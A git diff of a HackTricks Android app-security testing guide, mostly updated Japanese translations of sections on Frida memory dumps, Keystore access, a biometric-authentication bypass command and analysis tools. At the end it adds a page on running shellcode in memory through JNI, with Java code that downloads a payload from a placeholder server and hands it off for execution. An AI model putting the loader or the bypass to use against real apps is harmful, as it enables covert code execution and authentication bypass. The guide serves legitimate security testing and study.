[**Fridump3**](https://github.com/rootbsd/fridump3) を使うと、次のようにしてアプリのメモリをダンプできる:
|
||||
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -535,76 +539,76 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
これによりメモリが ./dump フォルダにダンプされ、そこで次のようなコマンドで grep できます:
|
||||
これは ./dump フォルダにメモリをダンプします。そこで次のようなコマンドで grep できます:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Keystore内の機密データ**
|
||||
|
||||
AndroidではKeystoreが機密データを保存する最良の場所ですが、十分な権限があればそれでも**アクセス可能**です。アプリはここに**平文の機密データ**を保存する傾向があるため、pentestsはroot userとして確認する必要があります。また、デバイスに物理的にアクセスできる人物がこれらのデータを盗む可能性があります。
|
||||
AndroidではKeystoreが機密データを保存する最適な場所ですが、十分な権限があれば依然として**アクセス可能**です。アプリケーションはここに**平文の機密データ**を保存しがちなので、pentestsではroot userとして、あるいはデバイスに物理的にアクセスできる者がこのデータを盗める可能性があるためチェックする必要があります。
|
||||
|
||||
たとえアプリがKeystoreにデータを保存していても、そのデータは暗号化されているべきです。
|
||||
アプリがkeystoreにデータを保存している場合でも、データは暗号化されているべきです。
|
||||
|
||||
To access the data inside the Keystore you could use this Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
以下のFridaスクリプトを使用すると、Androidアプリが特定の機密領域を保護するために実行している **bypass fingerprint authentication** を回避できる可能性があります:
|
||||
以下のFrida scriptを使用すると、Androidアプリケーションが**bypass fingerprint authentication**を実施して、**特定の機密領域を保護する**処理を回避できる可能性があります:
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **バックグラウンド画像**
|
||||
### **Background Images**
|
||||
|
||||
アプリをバックグラウンドに入れると、Android は **アプリケーションのスナップショット** を保存します。これによりフォアグラウンドに戻したときにアプリより先にその画像を読み込んで、アプリの起動が速く見えるようになります。
|
||||
アプリをバックグラウンドに移動すると、Androidは**アプリケーションのスナップショット**を保存します。これによりフォアグラウンドに戻したとき、アプリ本体より先にそのイメージを読み込むため、アプリがより早く起動したように見えます。
|
||||
|
||||
しかし、このスナップショットに **機密情報** が含まれている場合、スナップショットにアクセスできる者が **その情報を盗む** 可能性があります(アクセスするには root が必要な点に注意してください)。
|
||||
ただし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる者が**その情報を盗む**可能性があります(アクセスするにはrootが必要である点に注意)。
|
||||
|
||||
スナップショットは通常次の場所に保存されます: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android は **FLAG_SECURE を設定してスクリーンショットの取得を防ぐ方法** を提供しています。このフラグを使用するとウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり安全でないディスプレイで表示されるのを防ぎます。
|
||||
Androidは、レイアウトパラメータに**FLAG_SECUREを設定することでスクリーンショットの取得を防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで表示されるのを防ぎます。
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Android アプリケーション解析ツール**
|
||||
### **Android Application Analyzer**
|
||||
|
||||
このツールは、動的解析中に複数のツールを管理するのに役立ちます: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
このツールは動的解析中の異なるツールの管理に役立ちます: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Intent Injection
|
||||
|
||||
開発者はしばしば activity、service、broadcast receiver のようなプロキシコンポーネントを作成し、これらの Intent を処理して `startActivity(...)` や `sendBroadcast(...)` のようなメソッドに渡しますが、これは危険を伴うことがあります。
|
||||
開発者はしばしば、activities、services、broadcast receivers のようなプロキシコンポーネントを作成し、これらの Intent を処理して `startActivity(...)` や `sendBroadcast(...)` のようなメソッドに渡しますが、これはリスクを伴います。
|
||||
|
||||
危険は、攻撃者がこれらの Intent を誤誘導して non-exported なアプリコンポーネントをトリガーしたり、センシティブな content providers にアクセスさせたりできる点にあります。顕著な例としては、`WebView` コンポーネントが URL を `Intent.parseUri(...)` を通じて Intent オブジェクトに変換し、それを実行して結果的に悪意ある Intent 注入を許してしまうケースがあります。
|
||||
これらの Intent を誤誘導することで、攻撃者が非 export(non-exported)なアプリコンポーネントをトリガーしたり、機密性の高い content providers にアクセスしたりできる点に危険性があります。代表的な例として、`WebView` コンポーネントが URL を `Intent.parseUri(...)` で `Intent` オブジェクトに変換して実行することで、悪意ある Intent 注入を引き起こす可能性があります。
|
||||
|
||||
### Essential Takeaways
|
||||
|
||||
- **Intent Injection** は web の Open Redirect 脆弱性に似ています。
|
||||
- エクスプロイトは Intent オブジェクトを extras として渡し、それがリダイレクトされて安全でない操作を実行させることを含みます。
|
||||
- 非エクスポートのコンポーネントや content providers が攻撃者にさらされる可能性があります。
|
||||
- `WebView` の URL→`Intent` 変換により、意図しない動作が誘発されることがあります。
|
||||
- **Intent Injection** は web の Open Redirect 問題に類似しています。
|
||||
- 悪用は `Intent` オブジェクトを extras として渡すことに関係し、それらがリダイレクトされて安全でない操作を実行させる可能性があります。
|
||||
- 非-exported コンポーネントや content providers を攻撃者に晒してしまう可能性があります。
|
||||
- `WebView` の URL から `Intent` への変換により、意図しない動作が発生し得ます。
|
||||
|
||||
### Android Client Side Injections and others
|
||||
|
||||
おそらくこの種の脆弱性は Web で既に聞いたことがあるでしょう。Android アプリケーションでは次の脆弱性に特に注意する必要があります:
|
||||
おそらくこれらの脆弱性は Web で既に知っているでしょう。Android アプリでは特に以下の点に注意してください:
|
||||
|
||||
- **SQL Injection:** 動的なクエリや Content-Providers を扱う場合は、パラメータ化されたクエリを使用していることを確認してください。
|
||||
- **JavaScript Injection (XSS):** 任意の WebViews で JavaScript と Plugin のサポートが無効になっていることを確認してください(デフォルトで無効)。 [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews のファイルシステムへのアクセスは無効にするべきです(デフォルトで有効) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: 多くの場合、Android アプリがセッションを終了しても cookie が取り消されなかったり、ディスクに保存されてしまったりします。
|
||||
- **SQL Injection:** 動的クエリや Content-Providers を扱う際は、parameterized queries を使用していることを確認してください。
|
||||
- **JavaScript Injection (XSS):** いかなる WebViews においても JavaScript と Plugin サポートが無効になっていることを確認してください(デフォルトで無効)。 [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews はファイルシステムへのアクセスを無効にするべきです(デフォルトでは有効) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: 多くの場合、Android アプリがセッションを終了してもクッキーが取り消されなかったり、ディスクに保存されることがあります
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
## 自動解析
|
||||
## Automatic Analysis
|
||||
|
||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
|
||||
|
||||
**静的解析**
|
||||
**Static analysis**
|
||||
|
||||
.png>)
|
||||
|
||||
**アプリケーションの脆弱性評価** を、使いやすいウェブベースのフロントエンドで行えます。動的解析も実行できます(ただし環境の準備が必要です)。
|
||||
**アプリケーションの脆弱性評価** を使いやすい web ベースのフロントエンドで実行できます。動的解析も実行可能ですが、環境の準備が必要です。
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
@ -614,12 +618,12 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
|
||||
|
||||
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
|
||||
|
||||
### Assisted Dynamic analysis with MobSF
|
||||
### 支援付き Dynamic analysis with MobSF
|
||||
|
||||
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
The **MobSF dynamic analyser** can:
|
||||
**MobSF**は**Android**の**dynamic analysis**でも非常に有用ですが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
**MobSF dynamic analyser**は以下を実行できます:
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
|
||||
- **Dump application data**(URLs、ログ、clipboard、あなたが撮ったスクリーンショット、"Exported Activity Tester"が撮ったスクリーンショット、emails、SQLiteデータベース、XMLファイル、その他作成されたファイル)。これらはスクリーンショットを除き自動で行われます。スクリーンショットは撮りたいときに自分で押すか、すべてのexported activitiesのスクリーンショットを取得するには"Exported Activity Tester"を押す必要があります。
|
||||
- Capture **HTTPS traffic**
|
||||
- Use **Frida** to obtain **runtime** **information**
|
||||
|
||||
@ -637,12 +641,12 @@ MobSF also allows you to load your own **Frida scripts** (to send the results of
|
||||
|
||||
Moreover, you have some Auxiliary Frida functionalities:
|
||||
|
||||
- **Enumerate Loaded Classes**: It will print all the loaded classes
|
||||
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
|
||||
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
|
||||
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
|
||||
- **Search Class Pattern**: Search classes by pattern
|
||||
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
|
||||
- **Enumerate Loaded Classes**: ロードされた全てのクラスを表示します
|
||||
- **Capture Strings**: アプリ使用中に検出されたすべての文字列を出力します(非常にノイジー)
|
||||
- **Capture String Comparisons**: 非常に有用です。比較されている2つの文字列と結果がTrueかFalseかを**表示**します。
|
||||
- **Enumerate Class Methods**: クラス名(例: "java.io.File")を入力するとそのクラスの全メソッドを表示します。
|
||||
- **Search Class Pattern**: パターンでクラスを検索します
|
||||
- **Trace Class Methods**: クラス全体を**Trace**します(クラスの全メソッドの入力と出力を確認)。デフォルトでMobSFは複数の興味深い Android Api メソッドをトレースすることを覚えておいてください。
|
||||
|
||||
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
|
||||
|
||||
@ -657,15 +661,15 @@ exported_activities
|
||||
services
|
||||
receivers
|
||||
```
|
||||
**HTTP ツール**
|
||||
**HTTPツール**
|
||||
|
||||
http トラフィックがキャプチャされると、キャプチャしたトラフィックの見づらい表示を「**HTTP(S) Traffic**」ボトムで、より見やすい表示を「**Start HTTPTools**」緑色のボタンで確認できます。後者から、**キャプチャされたリクエスト**を **プロキシ**(Burp や Owasp ZAP など)に **送信**することができます。\
|
||||
手順: _Burp を起動 -->_ _Intercept をオフ --> MobSB HTTPTools でリクエストを選択_ --> 「**Send to Fuzzer**」を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
|
||||
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
MobSF で dynamic analysis を終えたら、「**Start Web API Fuzzer**」を押して **fuzz http requests** を実行し、脆弱性を探すことができます。
|
||||
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
|
||||
|
||||
> [!TIP]
|
||||
> MobSF で dynamic analysis を行った後、プロキシ設定が誤って構成され、GUI から修正できない場合があります。プロキシ設定は以下で修正できます:
|
||||
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -673,18 +677,18 @@ MobSF で dynamic analysis を終えたら、「**Start Web API Fuzzer**」を
|
||||
|
||||
### Inspeckage を使った支援付き動的解析
|
||||
|
||||
ツールは [**Inspeckage**](https://github.com/ac-pm/Inspeckage) から入手できます。\
|
||||
このツールは一部の **Hooks** を利用して、**dynamic analysis** 実行中にアプリケーション内で **what is happening in the application** を把握させてくれます。
|
||||
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
GUI を使った静的解析を行うための優れたツールです
|
||||
This is a **great tool to perform static analysis with a GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
このツールは、**security related Android application vulnerabilities** を、**source code** または **packaged APKs** のいずれでも検出するよう設計されています。さらに、発見された一部の脆弱性(Exposed activities、intents、tapjacking など)を悪用するための、"Proof-of-Concept" としてデプロイ可能な APK や **ADB commands** を作成することもできます。Drozer と同様に、テストデバイスを root する必要はありません。
|
||||
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -693,10 +697,10 @@ qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- 抽出したすべてのファイルを表示し、参照を容易にする
|
||||
- APKファイルを自動的にJavaおよびSmali形式にデコンパイルする
|
||||
- AndroidManifest.xmlを解析して一般的な脆弱性や挙動を検出する
|
||||
- 一般的な脆弱性や挙動に対する静的ソースコード解析
|
||||
- 抽出されたすべてのファイルを表示して参照を容易にします
|
||||
- APKファイルを自動的にJavaおよびSmali形式にデコンパイルします
|
||||
- AndroidManifest.xmlを解析して一般的な脆弱性や挙動を検出します
|
||||
- 一般的な脆弱性や挙動に対する静的ソースコード解析を行います
|
||||
- デバイス情報
|
||||
- など
|
||||
```bash
|
||||
@ -704,11 +708,11 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER は Windows、MacOS X、Linux で使用できるコマンドラインアプリケーションで、_.apk_ ファイルを解析して脆弱性を探します。これは APK を展開し、一連のルールを適用して脆弱性を検出することで行われます。
|
||||
SUPERはWindows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、_.apk_ファイルを解析して脆弱性を検出します。これはAPKを展開し、一連のルールを適用して脆弱性を検出することで行います。
|
||||
|
||||
すべてのルールは `rules.json` ファイルに集約されており、各企業やテスターは独自のルールを作成して必要な解析を行えます。
|
||||
すべてのルールは `rules.json` ファイルにまとめられており、各企業やテスターは必要に応じて独自のルールを作成できます。
|
||||
|
||||
最新のバイナリは [download page](https://superanalyzer.rocks/download.html) からダウンロードしてください。
|
||||
最新のバイナリは[download page](https://superanalyzer.rocks/download.html)からダウンロードしてください。
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
@ -716,9 +720,9 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAnはモバイルアプリケーションに対する [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) を行う開発者、bugbounty hunters、ethical hackers を支援する **crossplatform** ツールです。
|
||||
StaCoAn は、モバイルアプリに対して [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) を実施する開発者、bugbounty hunters、ethical hackers を支援する **クロスプラットフォーム** ツールです。
|
||||
|
||||
コンセプトは、モバイルアプリのファイル(.apk または .ipa ファイル)を StaCoAn アプリにドラッグ&ドロップすると、視覚的で持ち運び可能なレポートを生成してくれる、というものです。設定や wordlists を調整してカスタマイズされた体験を得られます。
|
||||
コンセプトは、モバイルアプリのファイル(.apk または .ipa ファイル)を StaCoAn アプリにドラッグ&ドロップすると、視覚的で持ち運び可能なレポートを生成する、というものです。設定やワードリストを調整してカスタマイズした体験を得ることができます。
|
||||
|
||||
ダウンロード[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -726,7 +730,7 @@ StaCoAnはモバイルアプリケーションに対する [static code analysis
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Frameworkは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが発見するのを支援する脆弱性解析システムです。\
|
||||
AndroBugs Framework は、Android アプリケーションの潜在的なセキュリティ脆弱性を開発者や hackers が見つけるのを支援する脆弱性解析システムです。\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -734,11 +738,11 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** は、Android アプリケーションによって発生する潜在的な悪意ある振る舞いを検出し、ユーザーに警告することを主な目的としたツールです。
|
||||
**Androwarn** は、Android アプリケーションによって行われる可能性のある悪意のある振る舞いを検出し、ユーザーに警告することを主な目的としたツールです。
|
||||
|
||||
検出は、アプリケーションの Dalvik バイトコードを **Smali** として表現したものに対する **static analysis** を、[`androguard`](https://github.com/androguard/androguard) ライブラリで行います。
|
||||
検出は [`androguard`](https://github.com/androguard/androguard) ライブラリを使用して、アプリケーションの Dalvik bytecode を **Smali** として表現したものに対する **static analysis** により行われます。
|
||||
|
||||
このツールは、**「悪質な」アプリケーションの一般的な挙動** を検出します。例: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
このツールは、**「悪質な」アプリケーションの一般的な挙動**(例: Telephony identifiers exfiltration、Audio/video flow interception、PIM data modification、Arbitrary code execution...)を検出します。
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -746,16 +750,16 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** はモバイルアプリの逆解析および解析のフレームワークです。一般的に使用されるモバイルアプリの逆解析・解析ツールをまとめ、OWASP のモバイルセキュリティ脅威に対するテストを支援します。目的は、この作業をモバイルアプリ開発者やセキュリティ専門家にとってより簡単で扱いやすくすることです。
|
||||
**MARA** は **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework です。一般的に使用されるモバイルアプリの reverse engineering と analysis ツールをまとめ、OWASP mobile security の脅威に対するテストを支援します。目的はモバイルアプリ開発者とセキュリティ専門家にとってこの作業をより簡単で扱いやすくすることです。
|
||||
|
||||
It is able to:
|
||||
|
||||
- さまざまなツールを使用して Java および Smali コードを抽出する
|
||||
- 以下のツールを使って APK を解析する: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- regexps を使って APK からプライベート情報を抽出する
|
||||
- Manifest を解析する
|
||||
- 発見したドメインを以下で解析する: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- [apk-deguard.com] を使って APK の deobfuscate を行う
|
||||
- Extract Java and Smali code using different tools
|
||||
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Extract private information from the APK using regexps.
|
||||
- Analyze the Manifest.
|
||||
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
@ -763,31 +767,31 @@ It is able to:
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
使用するサービスや設定によって、コードの難読化によってシークレット(秘密情報)が難読化される場合とされない場合があることに注意してください。
|
||||
Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** は Java コードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuard はフリーソフトウェアで、GNU General Public License, version 2 の下で配布されています。
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
|
||||
|
||||
ProGuard は Android SDK の一部として配布され、アプリを release モードでビルドする際に動作します。
|
||||
ProGuard is distributed as part of the Android SDK and runs when building the application in release mode.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APK を deobfuscate するためのステップバイステップガイドは [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) を参照してください。
|
||||
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(そのガイドによると) 最後に確認したときの Dexguard の動作モードは次の通りでした:
|
||||
(From that guide) Last time we checked, the Dexguard mode of operation was:
|
||||
|
||||
- リソースを InputStream として読み込む;
|
||||
- 結果を FilterInputStream を継承したクラスに渡して復号する;
|
||||
- リバースエンジニアの数分の時間を浪費させるための無意味な難読化を行う;
|
||||
- 復号された結果を ZipInputStream に渡して DEX ファイルを取得する;
|
||||
- 最後に生成された DEX を `loadDex` メソッドを使って Resource として読み込む。
|
||||
- load a resource as an InputStream;
|
||||
- feed the result to a class inheriting from FilterInputStream to decrypt it;
|
||||
- do some useless obfuscation to waste a few minutes of time from a reverser;
|
||||
- feed the decrypted result to a ZipInputStream to get a DEX file;
|
||||
- finally load the resulting DEX as a Resource using the `loadDex` method.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard は Android の難読化ツールによって行われた難読化プロセスを逆にします。これにより、コードの検査やライブラリの推定など、さまざまなセキュリティ解析が可能になります。**
|
||||
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
|
||||
|
||||
難読化された APK を彼らのプラットフォームにアップロードすることができます。
|
||||
You can upload an obfuscated APK to their platform.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
@ -799,34 +803,30 @@ It is a **generic android deobfuscator.** Simplify **virtually executes an app**
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD は **how an APK was made** に関する情報を提供します。多くの **compilers**, **packers**, **obfuscators** やその他の変わったものを識別します。Android 向けの [_PEiD_] と言えます。
|
||||
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
|
||||
|
||||
### Manual
|
||||
|
||||
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
|
||||
[チュートリアルを読んで **how to reverse custom obfuscation** のいくつかの技を学んでください](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b は ubuntu-mate ベースの Android セキュリティ仮想マシンで、reverse engineering や malware analysis のための最新フレームワーク、チュートリアル、ラボをさまざまなセキュリティ研究者やエンジニアから収集して含んでいます。
|
||||
AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis.
|
||||
|
||||
## References
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 素晴らしいリソース一覧です
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 素晴らしいリソースの一覧です
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android クイックコース
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
|
||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
||||
## Yet to try
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,121 @@
|
||||
# Android のメモリ内ネイティブコード実行(JNI / shellcode)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
このページでは、JNI を用いて信頼できない Android アプリプロセスからネイティブペイロードを完全にメモリ内で実行するための実用的なパターンを記載します。フローはディスク上にネイティブバイナリを作成することを避けます:生の shellcode バイトを HTTP(S) でダウンロードし、JNI ブリッジに渡し、RX メモリを割り当ててそこにジャンプします。
|
||||
|
||||
なぜ重要か
|
||||
- フォレンジック上の痕跡を減らす(ディスク上に ELF が残らない)
|
||||
- ELF 攻撃バイナリから生成された “stage-2” ネイティブペイロードと互換性がある
|
||||
- 現代のマルウェアやレッドチームが使用するトレードクラフトに合致する
|
||||
|
||||
全体の流れ
|
||||
1) Java/Kotlin 側で shellcode バイトを取得する
|
||||
2) バイト配列を引数にしてネイティブメソッド (JNI) を呼び出す
|
||||
3) JNI 内で: RW メモリを割り当て → バイトをコピー → mprotect で RX に変更 → entrypoint を呼ぶ
|
||||
|
||||
最小の例
|
||||
|
||||
Java/Kotlin 側
|
||||
```java
|
||||
public final class NativeExec {
|
||||
static { System.loadLibrary("nativeexec"); }
|
||||
public static native int run(byte[] sc);
|
||||
}
|
||||
|
||||
// Download and execute (simplified)
|
||||
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
|
||||
int rc = NativeExec.run(sc);
|
||||
```
|
||||
